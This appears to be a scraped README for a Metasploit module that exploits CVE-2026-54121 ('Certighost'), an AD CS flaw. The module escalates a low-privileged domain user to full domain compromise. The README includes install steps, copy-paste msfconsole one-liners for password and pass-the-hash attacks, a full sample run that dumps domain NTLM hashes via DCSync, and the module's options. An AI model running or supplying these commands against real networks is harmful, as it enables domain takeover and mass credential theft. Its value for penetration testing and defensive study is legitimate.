## https://sploitus.com/exploit?id=B9820FD5-5FB3-5B9F-B00F-3040AEA158C7
# Metasploit-CVE-2026-54121-Certighost
Certighost originally discovered and exploited by h0j3n and Aniq Fakhrul. This repo contains Metasploit auxiliary module that escalates from any low-privileged domain user to full domain compromise by abusing the AD CS enrollment "chase" fallback. The CA can be coerced into authenticating back to attacker-controlled infrastructure and then issuing a certificate that impersonates a Domain Controller. That certificate is used for PKINIT, UnPAC-the-hash recovers the DC's NT hash, and DCSync does the rest.
## Installation
```bash
mkdir -p ~/.msf4/modules/auxiliary/admin/dcerpc
cp cve_2026_54121_certighost.rb ~/.msf4/modules/auxiliary/admin/dcerpc/
```
Verify it parses and loads:
```bash
ruby -c ~/.msf4/modules/auxiliary/admin/dcerpc/cve_2026_54121_certighost.rb
```
```bash
msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; show options; exit"
```
Ports 389 and 445 are privileged, so the module must run as root.
## Usage
### Password authentication
One-liner of MSF
```bash
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION FULL; run"
```
Running `msfconsole`
```
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set PASSWORD 'Passw0rd!'
set DC_IP 10.0.0.10
set ACTION FULL
run
```
### Pass-the-hash
One-liner of MSF
```bash
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set NTLM_HASH 69289a87353c7083842956a62652d46c; set DC_IP 10.0.0.10; set ACTION FULL; run"
```
Running `msfconsole`
```
use auxiliary/admin/dcerpc/cve_2026_54121_certighost
set DOMAIN corp.local
set USERNAME jdoe
set NTLM_HASH 69289a87353c7083842956a62652d46c
set DC_IP 10.0.0.10
set ACTION FULL
run
```
`NTLM_HASH` accepts a bare NT hash, `:NT`, or `LM:NT`. When both `PASSWORD` and `NTLM_HASH` are set, **the hash wins**.
### Certificate only
Useful when you want the certificate for offline or later use:
```bash
sudo msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN corp.local; set USERNAME jdoe; set PASSWORD 'Passw0rd!'; set DC_IP 10.0.0.10; set ACTION REQUEST_CERT; run"
```
---
## Examples
#### Successful Explotation
```
$ msfconsole -q -x "use auxiliary/admin/dcerpc/cve_2026_54121_certighost; set DOMAIN contoso.lab; set USERNAME lowpriv; set PASSWORD Abc123,./; set DC_IP 192.168.10.10; set ACTION FULL; run"
[*] Starting persistent handler(s)...
[*] Setting default action FULL - view all 3 actions with the show actions command
DOMAIN => contoso.lab
USERNAME => lowpriv
PASSWORD => Abc123,./
DC_IP => 192.168.10.10
ACTION => FULL
[*] Certighost (CVE-2026-54121)
[*] Step 1: Discovering infrastructure via LDAP...
[*] Discovering CA...
[+] Found CA: ContosoCert-CA (DC01.contoso.lab)
[*] Discovering target DC...
[+] Target DC: DC01$ (DC01.contoso.lab)
[+] CA: ContosoCert-CA (192.168.10.10)
[+] Target: DC01$
[+] Domain SID: S-1-5-21-2005457936-2008376057-2514283296
[*] Step 2: Creating machine account via SAMR...
[+] Successfully created contoso.lab\GHOSTGQJZBJLO$
[+] Password: CGf0a69633d2Aa1
[+] SID: S-1-5-21-2005457936-2008376057-2514283296-1756
[+] Created: contoso.lab\GHOSTGQJZBJLO$
[*] Step 3: Starting rogue servers...
[*] Listener IP: 192.168.44.128
[+] Rogue LDAP server: 192.168.44.128:389
[+] Rogue SMB server: 192.168.44.128:445
[*] Pre-flighting Netlogon oracle...
[*] Connecting to the endpoint mapper service...
[+] Netlogon oracle ready
[*] Step 4: Requesting certificate via ICertPassage...
[+] Certificate issued!
[+] PFX (loot): /root/.msf4/loot/20260731030034_default_192.168.10.10_windows.ad.cs_287527.pfx
[+] PFX (local): /root/DC01_certighost.pfx
[+] Subject: /CN=DC01.contoso.lab
[+] Issuer: /DC=lab/DC=contoso/CN=ContosoCert-CA
[*] Step 5: Performing PKINIT as DC01$...
[+] PKINIT successful - TGT for DC01$@contoso.LAB
[+] ccache saved: /root/DC01.ccache
[*] Extracting NT hash from PAC...
[+] 192.168.10.10:88 - Received a valid TGS-Response
[*] 192.168.10.10:445 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/20260731030034_default_192.168.10.10_mit.kerberos.cca_639932.bin
[+] NT Hash: dc01$:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d
[*] Step 6: Performing DCSync...
[*] Running DCSync as contoso.lab\DC01$ (output shown when complete)...
# NTLM hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72446150d4b9a4dae4f0472fbb01b072:::
contoso.lab\lowpriv:1105:aad3b435b51404eeaad3b435b51404ee:69289a87353c7083842956a62652d46c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:846704be57649a259c45b8ce773dcf8d:::
DESKTOP-JSB2FG3$:1106:aad3b435b51404eeaad3b435b51404ee:b7ca2860c012a21801407b5f5c45c453:::
GHOSTQMSEUHWX$:1751:aad3b435b51404eeaad3b435b51404ee:3e5e99d282391e10226f3d40111196ee:::
GHOSTGQJZBJLO$:1756:aad3b435b51404eeaad3b435b51404ee:cbe6ca2d2dffb6069be63ee0700a05cb:::
# Password history (pwdump format - uid:rid:lmhash:nthash:::):
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:8c3efc486704d2ee71eebe71af14d86c:::
contoso.lab\lowpriv_history0:1105:82e343ae06e69d44033ee76a390286a8:8c3efc486704d2ee71eebe71af14d86c:::
DC01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:3795fa26828ec5e8bf0dc948d2d82bbe:::
DESKTOP-JSB2FG3$_history0:1106:dbfadcdb0dd4f78c286e856dcc5ece74:a175b9f66ecd598f5bcf8185d0e2e322:::
[+] DCSync complete - 26 secret line(s) shown, others suppressed for opsec
[*] (SIDs, full pwdump, account info and kerberos-key sections hidden)
[*] Cleaning up: deleting GHOSTGQJZBJLO$ as Administrator (Administrator hash from DCSync)...
[+] The specified account has been deleted.
[+] Deleted GHOSTGQJZBJLO$
[*] Auxiliary module execution completed
```
#### Options
```
msf auxiliary(admin/dcerpc/cve_2026_54121_certighost) > show options
Module options (auxiliary/admin/dcerpc/cve_2026_54121_certighost):
Name Current Setting Required Description
---- --------------- -------- -----------
ACCOUNT_NAME no The account name
ACCOUNT_PASSWORD no The password for the new account
ADD_CERT_APP_POLICY no Add certificate application policy OIDs
ALT_DNS no Alternative certificate DNS
ALT_SID no Alternative object SID
ALT_UPN no Alternative certificate UPN (format: USER@DOMAIN)
CA_IP no CA IP (auto-discovered if empty)
CA_NAME no CA name (auto-discovered if empty)
CERT_TEMPLATE User yes The certificate template
CLEANUP_ACCOUNT true no Delete the machine account when finished. Needs privileged credentials: the accoun
t's own creator has no DELETE right on it. With ACTION FULL the Administrator hash
recovered by DCSync is used automatically
CLEANUP_HASH no LM:NT or NT hash for CLEANUP_USER (pass-the-hash)
CLEANUP_PASS no Password for CLEANUP_USER
CLEANUP_USER no Account used to delete the machine account (defaults to the Administrator hash rec
overed by DCSync, else USERNAME)
DC_IP yes Domain Controller IP
DOMAIN yes Target domain FQDN (e.g., abc.local)
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
LISTENER no Attacker IP for rogue services (auto-detected if empty)
NTLM_HASH no NT hash for USERNAME, for pass-the-hash. Accepts LM:NT, :NT or a bare NT hash
NTLM_VALIDATE true no Validate the CA's NTLM auth via the Netlogon oracle. Set false to blindly accept i
t (no SMB signing) - useful to test whether the CA chase reaches LSA/LDAP at all,
but fails if the CA insists on signing
ON_BEHALF_OF no Username to request on behalf of (format: DOMAIN\USER)
OUTPUT_DIR no Directory for the .pfx and .ccache files (defaults to the current working director
y)
PASSWORD no User password (required unless NTLM_HASH is set)
PFX no Certificate to request on behalf of
RHOSTS no Target host (auto-set from DC_IP)
ROGUE_LDAP_PORT 389 no Port for rogue LDAP server (CA defaults to 389)
ROGUE_SMB_PORT 445 no Port for rogue SMB/LSA server (CA defaults to 445)
RPORT 389 yes The target port (TCP)
SMBDomain no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
SSL false no Enable SSL on the LDAP connection
TARGET_DC no Target DC sAMAccountName to impersonate (auto-discovered if empty)
TEMPLATE Machine yes Certificate template
TIMEOUT 10 no Seconds to wait for rogue servers to receive connections
Timeout 10 yes The TCP timeout to establish Kerberos connection and read data
USERNAME yes Low-privilege domain user
Auxiliary action:
Name Description
---- -----------
FULL Full attack: certificate + PKINIT + DCSync
View the full module info with the info, or info -d command.
```
## References
- [Technical analysis โ H0j3n](https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26)
- [Original PoC โ aniqfakhrul](https://github.com/aniqfakhrul/CVE-2026-54121)
- [CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)